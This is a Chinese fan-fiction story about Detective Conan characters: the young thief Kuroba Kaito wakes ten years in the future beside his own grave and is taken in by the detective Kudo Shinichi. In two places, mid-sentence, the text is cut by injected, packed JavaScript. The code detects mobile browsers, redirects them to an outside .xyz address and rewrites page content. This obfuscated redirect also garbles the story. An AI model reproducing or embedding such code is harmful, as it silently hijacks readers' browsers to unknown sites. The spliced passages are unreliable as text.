《[柯南/快新]再见钟情》 1. File 01 黑羽盗一和他说过,无论发生什么,千万不能忘记poker face。面对任何困境和挑战,保持全神贯注,永远不要失去笑容和风度。 17岁第一次心动的时候,黑羽快斗独自一人藏在路边的转角,街灯在路面拖长了昏黄的晕光,他站在光影分界的暗侧,被建筑投下的遮蔽完美浸没。 黑羽快斗从容的神情中带着一丝慢条斯理的随意。他气息沉静,将落在肩头和手臂的白鸽一只一只依次放飞。 这是他子承父业以来第21次以国际大盗的身份从危机重重的乱局中全身而退,从手忙脚乱的适应期过渡到现在,劫后余生的快乐与一展身手的快意已不再能轻易扰乱他的心跳。 甚至他人还没走得太远,只是身在离脱身处数十米的地方,远没有处于真正安全的境地。 他白色衬衣的衣摆在烈火熊熊的古堡中被烧焦了一角,所幸外面套了一件崭新的群青色帝丹校服,勉强维持住了外表的衣着得体。 最后一只白鸽轻轻落在他的手指上,没有跟随同伴一起远远飞去。黑羽快斗摸了摸鸽子翅膀下的伤处,判断出治疗细致妥帖,它很快就能痊愈,不由愉快地扬起唇畔,仰首朝着夜空望去,眉眼间尽是意气风发的笑意。 这次他为了避免罗曼诺夫王朝的皇室秘宝落入妖僧拉斯普钦的后裔手中,借用世纪末魔术师之名,揭开上世纪沙皇帝国覆灭后公主一家的失踪之谜。将回忆之卵物归原主后,他本该毫不留恋地功成身退,只给世人留下怪盗Kid又一令人浮想联翩的神秘传说,但黑羽快斗却额外多走了一趟,去见他一位秘密缠身的侦探劲敌。 虽然这是个有些莽撞的决定,但他觉得自己做了个不错的交换。 为偿还宿敌对他的鸽子的救命之恩,黑羽快斗解决了对方当前身份困境的燃眉之急。 他自揭底牌向江户川柯南透露,让对方明白自己知晓他就是工藤新一,此后这位心高气傲的小小侦探与他狭路相逢就再也演无可演,只能展露本性。 他漫不经意地告诉侦探自己认为秘密最好永远是个秘密,暗示对方自己决定保守秘密,这也代表着他同等程度地暴露出自己身为怪盗的观念——为了不动声色地引诱对方进一步探索自己身上的谜题。 这既是一个优雅的挑衅,也是一个隐晦的调情,针对他洞若观火的高傲宿敌。 ——让我更加吃惊吧,让我更加心动吧,来试试让我忘记poker face吧。 于是从心中产生这般渴望的那一刻起,黑羽快斗的人生就注定走上一条叛逆的荆棘之路。对父亲教导的叛逆,对自我的叛逆,在他那注定年少轻狂无所畏惧的年纪里,就连对自己的爱情,也是充满了不甘俯首不愿服输的自负与矜持。 后来他们在月下对决,在风中追逐,黑羽快斗满怀兴致地为他的名侦探编织了无数谜题,又兴高采烈地欣赏对方将其一一破解。他们就像大海与天空一般映照彼此,时常针锋相对,只为与对方一争实力高下,也偶尔携手协作,共同解决彼此的生死危机。他在深海里抓住过失去意识的侦探如寒冰般的手,也在高空失重中将坠落的对方揽入怀中。而与此同时,侦探同样屡屡在他面前展露出离经叛道的嚣张本性,比世界上任何一个人都更擅长与他一决胜负,也比任何人都信赖他的品性。在一些事实发生之前,连黑羽快斗自己都没料想到工藤新一似乎与他同样看重怪盗Kid的纯白无瑕,无法坐视怪盗的声名遭受旁人的污蔑。 然而黑羽快斗涉足了工藤新一的关系圈才知道,他喜欢的人早在他能触及的很久以前就有中意的人。郎才女貌,青梅竹马,两情相悦,所有人都认为他们注定会在一起,也包括工藤新一自己。他心中放肆滋长的情愫才是白日做梦,真是罗曼蒂克的爱情小说看多了。 但他忽然又很感激自己终究还是没忘记他的poker face,让他掩饰住了那失恋一瞬千回百折的种种心绪,在心悸般的酸楚中也维持住了作为宿敌的得体笑容。 黑羽快斗18岁那年,命运的齿轮开始残酷地转动——引领和辅佐他踏上怪盗之路的寺井黄之助,死于一次组织针对Kid的围剿陷阱之中。 他亲力亲为操办了葬礼。 那一天雨下得很大,小老头生前只专注于侍奉黑羽家的父子,和很多亲朋好友都断了联系,来到葬礼现场的人不算很多。宾客中有一位开着黄色甲壳虫、头发花白的博士,还有从过去任职刑警时就经常到蓝鹦鹉酒吧买酒的废柴侦探。 仪式中念经的僧人缓缓点燃七炷香,受潮的烟气隐隐有些刺鼻。黑羽快斗安静地看着宾客们逐一走到上香台前拈香致礼,他稳重地鞠躬回礼。走在毛利侦探身后的小侦探悄悄撩起眼皮,站在角落里隐蔽地看他。黑羽快斗站得笔直,庄重的黑色西装将他一贯飞扬俏皮的气质都压制得沉郁,过长的发梢下是一双溺亡了所有情绪的蓝色眼睛。 侦探久未相见的宿敌确实消瘦了许多,但不止如此——江户川柯南走过他身侧时,闻到了血腥味,掺杂在对方一向干净清冽的气息中。黑羽快斗伤得很重,重得连维持poker face都缺乏力气,面色苍白憔悴,藏不住浓郁的疲倦伤心。 他想抚平他的悲伤,他觉得自己还有很长时间去保护这颗受伤的心灵,然而怪盗与侦探向来如约而至的月下相会,却在一方的戛然错愕中失去了续章。黑羽快斗的死讯是在他19岁生日的隔天被19岁的工藤新一知晓的,一代天骄,才华横溢,又天生浪漫多情,这么年轻却意外身故的消息连不熟悉他的人都觉得惋惜,更是让爱他的人难过得肝肠寸断。 工藤新一第二次到江古田参加葬礼,出门前没看天气预报,没带伞,半路上不幸被淋成落汤鸡。 黑羽快斗生前的朋友很多,他是个能创造热闹的人,活泼聪明还很有生活情趣,很少有人能不喜欢这样的人。葬礼上到处都是哭声,导致帮忙操持现场的中森银三连纸巾都分不过来。他塞了一把纸巾给自己哭声最大的女儿,分身乏术的忙碌中只顾得上看了一眼门口全身湿透的工藤新一,没有询问不同学校的两个年轻人过去如何结识,找了条毛巾抛给工藤新一就匆匆离开。 “你好像还不相信?” 在宾客们情绪混乱的葬礼中,只有一人注意到工藤新一将毛巾覆盖在湿发上时还在观察四周。侦探闻言侧目,毛巾的掩蔽藏住他刀锋一般凌厉的微凉眼神,也干扰了他的视野,落在工藤新一眼前的是少女身前过长的酒红色发丝。 “命运告诉我,黑羽快斗的生命已经逝去。”她仿佛并不在意侦探长久到失礼的沉默,轻轻叹息,“可惜这里却没有几个人知晓多么绚丽的一代传奇已经落幕。” 工藤新一没有接话,似乎也是无话可说。他目送对方离开后一个人慢慢地走到礼堂的窗边,外面始终骤雨如瀑,入夜以后更是天地昏黑一体,幽暗杳冥。 天色比往常的夜晚更暗淡,因为雨季的乌云遮蔽了月光。 他心里想。 夏日已至,不知多久才能天清月明,将东京再度照耀得辉光明丽。 “十年。” 黑羽快斗的声音不大,那更接近于一声嘀咕,语调奇异,仿佛是一句自问。古怪的是这自问又像是自答,透出对现状的不敢置信,更不自知他这一句无意中遥遥回答了别人三千多个日夜前的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588905|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不远处有个人本来正朝着他的方向走近,由于角度限制,一开始并未注意到黑羽快斗的身影,但在他出声的那一刻,对方蓦然停住脚步,顿时难以置信一般屏住呼吸。 视野的死角是双向的,黑羽快斗心绪混乱中同样未注意到有人接近。他说出这两个字就停了声,自己缓了缓神,然后慢慢蹲下来,用一种有点复杂的眼神凝视着眼前的石碑。 石碑其实平平无奇,如果不是上面刻着黑羽快斗自己的名字,旁边标注着理论上他的生卒日期,而且他发现自己正身处于一片绿意盎然的公墓的话,他想他路过压根不会多看两眼。 黑羽快斗因工作需要,能鉴别物件的新旧年份。他观察过附近的墓碑后,判断出眼前所见的一切绝非某人针对他的恶作剧,而且毋庸置疑的事实。写着他名字的墓碑确实看起来已经年代久远,位置他也熟悉,就在他8岁时在魔术表演中意外身故的父亲黑羽盗一的墓碑旁。不远处有座新墓,他判断出碑上的刻字不超过一个月,刻痕的棱角还很新,时间距离他“身故”的日期足有十年。 黑羽快斗从没想过这种幻想小说的情节会降临在自己身上。时空穿越?他居然到了未来,而且是走到了黑羽快斗已死这个结局的未来。虽然17岁的男高中生一夕得知父亲遇害的血仇真相并成为国际大盗这种事情也相当离奇,但至少后者还没有达到超自然的水平。 “唉——” 还有比这更不幸的展开吗?黑羽快斗忍不住叹气。他在决定继承怪盗Kid的身份第一次作案的当夜,刚换上了父亲的礼服还没走出自家的密室,脑袋一晕就莫名其妙来到自己死亡十年后的世界,所谓出师未捷身先死也不过如此了。眼前父亲、自己和寺井爷爷的墓碑整齐排列,简直是在讽刺他决定奔赴黑夜的决定有多不自量力。 他伸出手摸了摸自己的墓碑,附近没有杂草,一定是近期有人来打理才会这么干净。 能是谁呢?黑羽快斗在心里盘旋了一圈自己熟悉的人名。是妈妈?还是青子呢?他希望他的遇害没有牵连身边无辜的人,也不是很希望她们太过挂念自己,让他所重视的人们十年都时常记着为他扫墓是件令黑羽快斗有点难过的事。 就算不来,让杂草生得荒芜一些,黑羽快斗也不会在意的,人死如灯灭嘛。 这么故意漫不经心地放任思绪逸散,黑羽快斗一向稳定、玩转各种复杂的魔术都不会颤抖的手指仍是不争气地失控起来,痉挛着微微曲起。哪怕他努力地调节了自己的情绪,心中仍是缓缓漫出涩意。 黑羽快斗本以为自己已经做好了复仇的心理准备,就算背离光明世界奔赴黑暗也在所不惜,却没想到真正面临这种万劫不复的结局时……他心里会这么不甘,不甘又恐惧,恐惧他一事无成的可能性。 咔嚓—— 落叶被踩碎的声音,在这时传到黑羽快斗的耳畔,他当即一惊。 午夜时分,什么人会跑到墓地这种地方乱走?试胆大会的笨蛋? 他警惕地起身,准备躲进附近的树影,然后偷偷遁走,来人却仿佛同一时间猜透了黑羽快斗的心理—— “Kid。”对方轻轻唤道。 黑羽快斗的脚步一乱,没想到十年后还有能知晓他身份的人来他的墓,声线甚至有些似曾相识,他反射性地回头看了一眼—— 这一眼令他愣在原地,以为看见了十年后的自己,不过气质又有些令他陌生的差异。 “我没死?” 对方也被他问得微微一怔,情绪复杂地扫过他浮现错愕的年轻脸孔,眼神锐利,意味不明地反问道: “你死而复生了?” 2. File 02 这话说得好笑,人怎么可能死而复生。 黑羽快斗眨了眨眼睛,瞧着面前陌生人的眼神里藏着的审视,脸上忽然浮起笑意。 “你信吗?”他这般笑问。 没说是,也没说不是,暧昧不清的语气活像一个调皮的高中生半夜翻进墓园,被发现以后开始装神弄鬼的游戏。 “我不信,但你是货真价实的黑羽快斗。” 回答的音量略略偏低,却果然和黑羽快斗自身的嗓音大差不差。眼前与他容貌有九成相似的青年眼神莫测地打量着他,从上到下,黑羽快斗身上还穿着在密室里换上的怪盗礼服,白色的高筒帽西装皮鞋搭配蓝衬衣粉领带,年轻人最衬这样鲜丽中透着点花哨的配色,又因为西装的尺码不太合适,稍偏大了一些,让他好像个正准备恶作剧的少年。 被一语道破本名的黑羽快斗心底一凛。 此时黑羽快斗同样判断出眼前的人绝非他本人,理由无他,就算对方的样貌与他相像得仿佛属于同一个人的过去和未来,但他在抬眼皱眉时调动面部肌肉的习惯与自己差别太大,也显然在这方面未经训练。 这不妨碍黑羽快斗直觉他非常危险,似乎存在能够破坏自己一切防线的威胁。 黑羽快斗不动声色地看过去,四目相对时他以为自己撞进了一片深海。对方理智的眼神里没有一丝犹疑,冷静又通透,好像仅凭观察的目光就把他扯进了蔚蓝色的冰川之下,将他凝固于四面八方都无处可逃的冷水中,水体里流动的每一束光都是洞察的光辉,让所有伪装和演技都在三百六十度的无死角的观察中原形毕露,浑身每一个试图说谎的细胞都被激起针刺般的战栗。 仅凭这第一印象就让黑羽快斗感受到寒意,刺痛得好似电流走过脊背。 一个看起来就相当精明的陌生人,知道他死过却能平静应对他的出现,还知道他的真实身份,而且在他出现不久后就来到此地。不管怎么想,缺乏情报的自己此刻都显得被动至极。 “你不觉得很离奇吗?”在黑羽快斗谨慎缄口的两三秒停顿后,对方若有所思地说,“照理说,这里是你埋骨十年的墓地,但我和你交手过那么多次,却找不出你不是以前那个Kid的任何证据。” “交手”这个充满对抗意义的词汇让黑羽快斗眼神微变。 以逮捕怪盗为己任的警察……不对,他盯着眼前人大致才二十来岁的脸孔,心里推演出他和自己初次见面的年纪,未成年自然不能是警察,所以是侦探?和他长相特别像的侦探?黑羽快斗“嗤”地笑了声。想到一些对自己很便利的作案手法,难怪他和黑羽快斗结下了梁子。 “说得真自信啊,你就不考虑考虑其他可能性?比如模仿犯,或是不认识的亲戚之类的。” “我的判断不会有错。” 几乎算得上是速答的回应让黑羽快斗有些吃惊,因为对方的语气实在过于不假思索和斩钉截铁,好像压根不存在会错认他的可能性。 所以就甘愿相信一个十年前的亡灵在墓地里显灵吗?黑羽快斗想不通。侦探应该是一群最没有幻想细胞的无趣之人,但眼前这位又好像与他印象中的侦探大不相同。 自称与他交手多次的侦探啊,听起来似乎确实极为特别。 关于他的身份,黑羽快斗的脑海里浮现出一个答案。在他那个时代,确实存在一个与他年纪相仿相貌相若的知名人物,拜他所赐,黑羽快斗还在路上被人认错过—— “真意外怪盗让你如此钟情啊,工藤侦探。”他耸了耸肩膀,若无其事地道出对方的身份,把警戒藏进好像随意打趣的笑容里。 黑羽快斗对外是一名籍籍无名的高中生,运动全能却从不参与学校部活,爱好是自由钻研魔术,为人十分低调,以江古田高中为中心的生活圈从未与工藤新一产生过任何交集。 所以未来他一个怪盗是如何与大名鼎鼎的高中生侦探变得熟稔的?黑羽快斗心中疑窦丛生。这样一位侦探,居然知道他的真实身份,甚至在他死去十年后的深更半夜来到他的墓前。是偶然的一时起意还是另有隐情?无论如何猜想,黑羽快斗都觉得工藤新一的行为古怪至极。 “但你不觉得很矛盾吗?”他模仿了先前工藤新一的口吻,故作漫不经心地问,“你来这里,是为了见我吧。可眼下你口口声声的判断,又好像已经千方百计地尝试过否认我就是Kid。” “因为,你也不是认识我的那个黑羽快斗吧。” 更加一针见血的话语让黑羽快斗眉端一跳,果然是个棘手人物,居然一照面就说中他的底细。工藤新一居然这么熟悉我么?这个时代的我究竟是留下了多大一个烂摊子……他在心里碎碎念着腹诽不停,抬眼时正巧对上对方投来的目光,一瞬不瞬地凝视着他的脸。 呃……怎么?黑羽快斗疑惑地眨了眨眼睛。 当他还举棋不定于如何与侦探周旋的时候,工藤新一已经抬起手,在黑羽快斗的视野里不断放大。 照理说他躲得开,但工藤新一的眼神使他犹疑了一瞬,鬼使神差地错过了躲闪时机,眼睁睁地瞧着侦探的手指靠近,食指落在他耳根下颌线处的皮肤上,轻轻下压,一触即分。 夜里气温并不算低,但那根手指还是让黑羽快斗冷得一颤,回神后又莫名觉得被碰的地方烧过一阵热意。 “原来如此,最后一个可能性也可以被否决了……”迎着黑羽快斗饱含质疑的眼睛,工藤新一玩笑道,“有脉搏,有温度,看来我不是在做梦。” 这家伙…… “那是当然,我可是货真价实的活人。” 就算被侦探明显胡诌的说辞敷衍了一通,黑羽快斗明面上还是配合他的话语弯了弯眼睛,暗想心跳体温扣住手腕也能试,还能桎梏一个人的行动,工藤新一的动作分明在检查他脸上有没有佩戴易容的面具。 果然是当过自己的对手才这么了解他啊。 但是不可否认,他被侦探游刃有余的反应激起了心底的一簇火焰,黑羽快斗注视着工藤新一自始至终都相当冷静的眼睛,露出一个好似带有火药味的冒犯笑容,故作好奇地问:“我确实不认识你,只听说过你工藤新一的名字,没见过你本人。不过好奇不犯法吧?对你来说,我是会出现在你梦里的关系么?” “这不关你的事。” 然而工藤新一定定看了黑羽快斗一眼,不按常理出牌的任性回答让他在脑内预设的所有反击都前功尽弃。 黑羽快斗纳闷地“欸”了一声,更让他不解的是,这人揭开他的老底以后居然就径自转身从原路离去了。不追究黑羽快斗为何凭空出现吗?不在乎他就是怪盗吗?黑羽快斗心中的强烈戒备顿时变成迷惑。 眼看着他们一度极为接近的距离很快被拉扯到数十米开外,黑羽快斗开始踌躇。 这个人看起来似乎没有打算抓捕他的意愿,头脑灵活,还非常清楚他的身份,黑羽快斗有预感,如果得到对方的协助,有利于他最迅速全面地掌握这个时代的情形…… 所以他犹豫着是跟上去,还是自己另谋出路。 这时忽然有一阵幽邃的凉风吹过二人,树影随风摇动,枝叶哗啦啦地翻飞,扰得人心乱不止,高大的树冠犹如阴云遮蔽天空,将深夜里的一切都染绘了一层深浓的色彩。 工藤新一脚步稍停,回过头,看向在自己墓碑前安静伫立的黑羽快斗,凌乱的发梢披着月色,褪去了多变情绪的眼睛宁静又透出一丝少年气,身影伶仃,仿佛被全世界抛弃了。 “蛋糕,要吃吗?” 黑羽快斗一头雾水地歪了歪头,看见工藤新一提了提手,这才注意到对方手上像是祭品的东西原来是一小盒甜点,袋子上的logo居然还是他喜欢的品牌。 “我吗?” “这里还有其他人吗?”工藤新一叹了口气,“别说还有其他夜半还魂的尸体,我可敬谢不敏。” “哈……那的确是鬼故事了。”黑羽快斗有些疑惑地接话。 但这是重点吗?好奇怪的侦探。 “本来就是打算放你墓前的,平时都会在第二天被公墓的管理员收拾干净,如果你忌讳的话就算了。”工藤新一说,“不用多想,只是因为今晚的星星很明亮,最近东京持续下雨,已经很久没有这么晴朗的天了,你可以当我是心血来潮。” 确实今晚夜空干净,星光明媚,特别是在东南方有三颗星显眼非常,分别是属于天琴座的织女星、天鹰座的牛郎星和天鹅座的天津四,通常被称作“夏季大三角”,是夏季来临的标志性天象。若是说东京近期多雨,则当前的时间应在六月中下旬。 原来如此。黑羽快斗心说。原来今天是这个时代的我29岁的生日,以及,第十年的忌日。 “侦探先生每年都来吗?” 对方可疑地沉默了半晌。 “有空的话。” 黑羽快斗闻言笑笑,虽然这不是一个完全肯定的答案,但倘若在当下这个月上中天的时间来造访也能算是有空才来的话,那没空的时候大概也是相当的身不由己了。 “真没办法,我刚好肚子饿了还身无分文……那就谢谢你的祭品。”他说。 草莓慕斯的最外层是泛着光泽的果冻,薄如蝉翼的透明层下透出鲜妍艳丽的粉红果酱,勺子触碰的瞬间,表面下陷出半弧形的曲面,切开后露出内里绵软无比的浅粉慕斯体,与浸着玫瑰色糖浆的蛋糕层形成由浅入深的渐变,舌头触及的瞬间,奶油的丰润与酸甜的草莓颗粒构成精妙绝伦的味觉平衡。 完全是黑羽快斗最喜欢的口味。 他一口将勺子塞进口中,心生感动的同时也忍不住叹息,这么好吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588906|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜品,另一个自己居然只能躺在地底眼睁睁看了十年,然后坐视蛋糕被无情地清扫丢弃,真是一想想都要惹人落泪了。 所以他一点也不想接受自己死亡的未来,死了就万事休矣了。黑羽快斗维持着含住勺子的动作,拇指食指捏着下巴陷入沉思。当务之急应该是调查他的死因,还有找到回到过去的方法……后一个问题尤其让黑羽快斗毫无头绪,他真的有可能在无知无觉中跨越时空吗? “对了,我们这是去哪里?” 他坐在工藤新一的车上,留意到他们一路从连通墓园的山路蜿蜒向下,扭头看向驾驶座的工藤新一。 “吃完了才想起来问啊……” 工藤新一单手放在方向盘上,换挡的时候视线往黑羽快斗身上晃了一下,因为对方已经将那身显眼的白色怪盗服装换成漆黑的学兰制服,一身青春洋溢的学生气。 “不担心我直接把你送去警局?” “侦探抓人也要讲证据吧。”黑羽快斗咬着勺子,表情安逸。 “这也确实。”工藤新一笑了一声,而后又随意道,“而且Kid已经销声匿迹十一年了。” 车窗外倒退的风景逐渐连成模糊的影,黑羽快斗无声地扭头看他。 工藤新一说:“但是模仿犯很多,有人装成怪盗作案,也有人犯案之后把事情推到怪盗头上。Kid的粉丝很多,这些年不乏粉丝装扮成他的模样进行cosplay活动。” 东京这些年御宅族文化和追星族文化日益兴盛,所以就算今夜黑羽快斗穿着怪盗的服装招摇过市,也不会怎么样,连搜查二课的警官都会对此视若无睹。 真正的怪盗已经消失太久了,比第一次消失更久,很多人都认为他不会再次复出。 距离怪盗Kid首次以翩翩绅士的形象出现在月下已接近三十年,就算他最初是个风华正茂的年轻人,现在也理应状态下滑,到了该隐退养老的年纪了。谁能觉得他时隔多年还重操旧业?在科技水平日新月异的今天,警方的搜查手段也在不断创新,Kid难道不怕晚节不保吗? “听起来你非常关注怪盗的消息。” 黑羽快斗放下车窗,懒洋洋地把手臂靠了上去,迎面的疾风吹得他眼睛微眯,露出乱飞的刘海下那张年轻的面孔。他好奇地问:“工藤先生跟我很熟吗?粉丝cosplay就算了,你又怎么肯定作案的不是真正的Kid?说不定黑羽快斗才是模仿犯呢。”话里话外还是没有放弃撇清自己的嫌疑。 工藤新一微微偏头,黑羽快斗观察着他的眉目神情,车窗外游离闪烁的街灯忽明忽暗地打在他脸上。在朦胧的光影中,那张清俊的面庞仿佛自带旧电影滤镜,透着跨越时代的典雅质感。 只见这人在他的目光中轻描淡写地笑了一下,笑声中带着理所当然的自信。 “当然。”他漫不经心地说,“因为有关你的所有案件,我全都过问。” 黑羽快斗一阵错愕,为此沉默了好长一段时间才再出声。 “为什么?”他情不自禁地问,眉头皱出纠结的形状,“你和怪盗应该是对手吧?还有其他什么让你念念不忘的过节吗?为什么这么执着?那个……既然你过来扫墓,也断定黑羽快斗就是Kid,这些年就没必要特地关注那些消息了吧?” 纵然他们只相处了很短时间,黑羽快斗也能看出来工藤新一不是一个好相与的人物。其实他以前时常看到有关这位同龄人的新闻,工藤新一很有正义感,也很忙碌,他经手的案子往往是所有刑案中性质最恶劣的命案,其出勤率和案件侦破率之高,让工藤新一从崭露头角起仅一年,就被公众冠以警界救世主和平成福尔摩斯先生的称号。 报纸上那位年轻的高中生侦探,在镁光灯的照射下散发出潇洒而自信的气质,哪怕眼光挑剔如黑羽快斗,都不能否认对方风采极佳,是实至名归的天之骄子。 那般风华正茂的工藤新一,要说他百忙之中抽身几次与怪盗交手还算正常,但他在知晓黑羽快斗的死讯以后依旧无论真伪地关注一切与他有关的线索,却让听闻此事的人心头浮起一丝异样。 为什么……工藤新一会如此在意自己呢?在意到哪怕已经与他生死永别,甚至时隔十年,都无法放手的地步? 开车人的脸上因为他话中毫不作伪的困惑而浮现出捉摸不透的神情。 “黑羽快斗。” 工藤新一对他的灼灼视线若有所觉,睫毛微动,目光猝然毫无阻碍地朝他直射过来。电光石火间好似有无数的感情从年轻人的意识海中掠过,却仍是模模糊糊且迅疾到怎样都抓不住的。 他念出怪盗的真名,随后一停,道:“这个世界若是没有你,实在无聊得太多。” 真是没有迷宫、无所不知的名侦探。 一次性回答了所有问题。 3. File 03 从17岁到19岁,那是黑羽快斗一无所知的过去。若他作为怪盗活动的时限只有一年,与工藤新一结识的时间定然也十分有限。可从侦探的态度来看,他们却好像一同经历过许多惊心动魄的故事。仅凭这点,就能让黑羽快斗隐约窥见那是一段令人难忘的岁月。 而对当时仅仅有些恍惚迷茫的黑羽快斗来说,他还未真正地意识到那段错失的经历究竟代表了什么,对他和工藤新一又分别存在着什么意义。 放眼此刻,未知的世界犹如一张全新的画卷在他面前缓缓展开。 夏夜里的东京市区,主干道上川流不息,两侧鳞次栉比的高楼灯火通明,与点缀其间的霓虹灯交织成一幅繁华的画卷。一切与黑羽快斗记忆中的风景都不相同,他看见街头多了许多巨幅的数字荧幕广告,播放着二十世纪末还未出现的科技产品,侧面印证他的确来到了未来的世界。 黑羽快斗向外看了一会儿,眼底渐渐涌上一抹愁绪。他从来不是一个抗拒时代进步的守旧派,此刻却空前地想念过去。不仅因为寺井爷爷还在,他也不愿想象自己的妈妈和青梅竹马骤然得知他消失不见,会如何伤心——恐怕也无异于这个时代自己死去的情形。 工藤新一从进入市区就降低了车速,他在等待红绿灯的间隙看向黑羽快斗过分安静的脸庞,开口问:“不适应?” “只是有点不喜欢而已……”黑羽快斗咕哝一声,很难解释自己当下有些感性的抗拒心理究竟是因何而起。总觉得,很讨厌这个自己曾经一败涂地的时代,可把这个想法直说出来又显得自己幼稚又矫情,所以他很快改了口,“没事,别在意,我会很快习惯。” 话虽如此,寄住在工藤新一家的第一晚,他就久违地做了噩梦。 黑羽快斗慢慢睁开眼,视野里仿佛还充斥着猛烈的烈火和浓烟。他把盯着陌生天花板的眼睛挪到透出微弱光亮的窗户上,外面的天仍是昏暗的,涂抹着一层灰蒙蒙的暗淡颜色。他撑起身,盘腿坐起,面无表情地抬手擦去眼角未干的泪痕,做完这些以后他才渐渐地从恍惚中清醒过来,低头看向掌心。 虽然不太记得梦里发生了什么,但他好像难得地听见了父亲的声音。 黑羽快斗的父亲黑羽盗一曾是世界级的魔术大师,但由于某种原因,他同时也在夜晚扮演着国际大盗怪盗Kid的角色。有着这般非凡才能的人却在黑羽快斗8岁的时候丧命于一次失败的逃生魔术,在爆炸中死得尸骨无存,连带身上缠绕的诸多谜团一同被埋藏在地底。 他轻轻叹了口气。 是因为时代的错乱让自己也感到混乱了吧。揭开真相那夜寺井爷爷声声切切的“快斗少爷”好像还萦绕在耳边,黑羽快斗却凭空有一种时间过去很久的错觉。一切发生得太快,父亲就是怪盗的真相,以及父亲是被人暗杀的真相,掩埋于他8岁的废墟忽然暴露出漆黑的内里,还未等他把彷徨消化干净,世界又瞬间跳转到自己已经一命归西的结局,人生真是充满不如意啊。 黑羽快斗去卫生间洗了洗脸,接了捧水泼到脸上,他抬起头,镜中倒映出一张有些失魂落魄的脸,冰凉的水珠从发梢落到皮肤。 “睡不着?” 时间尚早,黑羽快斗刚走下楼就注意到工藤新一也在,对方正独自坐在会客室的沙发椅上。 虽然他明显经过沐浴,一身端肃整洁的西装已经换成闲适许多的休闲衬衣,袖口整整齐齐地折到小臂,但黑羽快斗的目光从沙发一侧散发着光亮的立灯,挪到他放在腿上的工作电脑,和手边已经被喝干净的咖啡杯,疑心这位侦探压根没睡。 压倒性的证据就是工藤新一接下来说:“我想你应该很想知道自己错失的过去,但是不确定你还知道多少,所以我把我所知的怪盗Kid的情报全部整理给你。我和你实际交手的次数不算多,第一次见面的时候你作为怪盗已经复出了大半年,第二次就是隔年的4月了,所以很多事迹只能根据外界公开的报道去整理,我在附注加了一些自己的观点,你可以参考。” 黑羽快斗一时不语,工藤新一也不在意,他慢慢地打了一个呵欠,话语依旧很有条理:“至于你现在的身份也不用太担心,我有朋友可以帮忙解决,就是护照短期内还无法办理……应该不会碍事。你需要上学吗?” 被他询问的高中生眨了眨眼睛,思索了一下,笑说请让他考虑几天,工藤新一也颔首接受了他的回复,然后在侦探起身经过他,走上楼去休息之前—— “谢谢你。”黑羽快斗说道。 工藤新一停在楼梯前安静了一会儿,扶着楼梯的手指不自觉地微微用力。 “不用,这些你自己花些时间也能做到。” 他隔了一会儿才回答,留下站在原地的人一腔心思千回百转。 黑羽快斗是不折不扣的天才,虽然他对很多知识的涉猎全凭一时兴趣,但他的知识储备早已超越大学水平。从前按部就班地过着平凡高中生的生活,也只是因为他认为没必要急于摘取唾手可得的荣誉,也希望与一同长大的青梅竹马悠闲地度过学生生涯。 现在他的人生在成为怪盗的瞬间骤然脱轨,又在未来降临的那刻彻底变迁,所有的平凡日常已经离他远去,心理上的余裕伴随失去的归处寸寸消失,他只想查清自己的敌人究竟是何方神圣,才让自己也步入父亲的后尘。 工藤新一压根不明白他的不安和焦虑……虽然想这么说,但当黑羽快斗每次与他四目相对,都觉得这侦探的眼睛冷静得超乎寻常,好像自己的想法都被洞察无余,又好像被他透过自己看到了什么,或许是过去那个埋葬在19岁的黑羽快斗。 另一个急于复仇的黑羽快斗,是否也是因此行差踏错,走向不可挽回的末路? 工藤新一……可能是当今这个时代最了解他一切秘密的人。 这个念头使他对工藤新一感情复杂。 要是没有这次意外,他们应该是在同龄的年纪第一次相遇。怪盗与侦探狭路相逢,又棋逢对手,可想而知黑羽快斗有多不愿意输给这位宿敌。 越来越想不明白这个人啊。为什么身为对手,却为凭空出现的自己做这么多,而且许多年后依旧执着于追究一切有关怪盗的案件。不能坐视他被旁人污蔑?还是追寻着他还存活于世的渺茫可能性? 他道谢后莫名觉得松了一口气,应该是工藤新一身上萦绕的沉稳气质让他也镇定了些许,无缘无故地相信着对方不会放他不管……这个有些幼稚的念头让黑羽快斗感到越来越不好意思,难以应对这种无法平静的心情,最后懊恼地揉了揉头发。 工藤新一的住所位于米花町2丁目21番地,这栋都铎式建筑坐落于一片距离市中心不远、又相对僻静的别墅区,曾经属于世界级的著名推理小说家工藤优作及其夫人工藤有希子,后者也是二十年前风靡世界的传奇女星,因此房屋修建得颇为宽阔气派,古典优雅。现下由于工藤的父母长居于海外的洛杉矶,这处房产为二人的独子工藤新一所有,作为他日常起居的住所及侦探工作的据点。 黑羽快斗不确定工藤新一收留自己是否只是出自一时好心,还是念在另一个自己生前与他有着惺惺相惜的交情,或者只是出于监视的便利打算,将自己放在眼底。不过从他在工藤新一家住下开始,经过大约一周的粗略观察,黑羽快斗算是心服口服地认识到工藤新一是一位多么忙碌而且有能的优秀侦探——不但有络绎不绝的委托人求助,他还时常为警方的刑侦要案提供推理援助,甚至连一些国际上鼎鼎有名的侦查组织也会请求与他远程连线,虚心咨询他的意见。 “好厉害啊,名侦探。” 有次工藤新一刚结束一通跨国电话,摘下耳机就听见黑羽快斗真心实意的夸奖,手指因他那个称呼微微一颤。 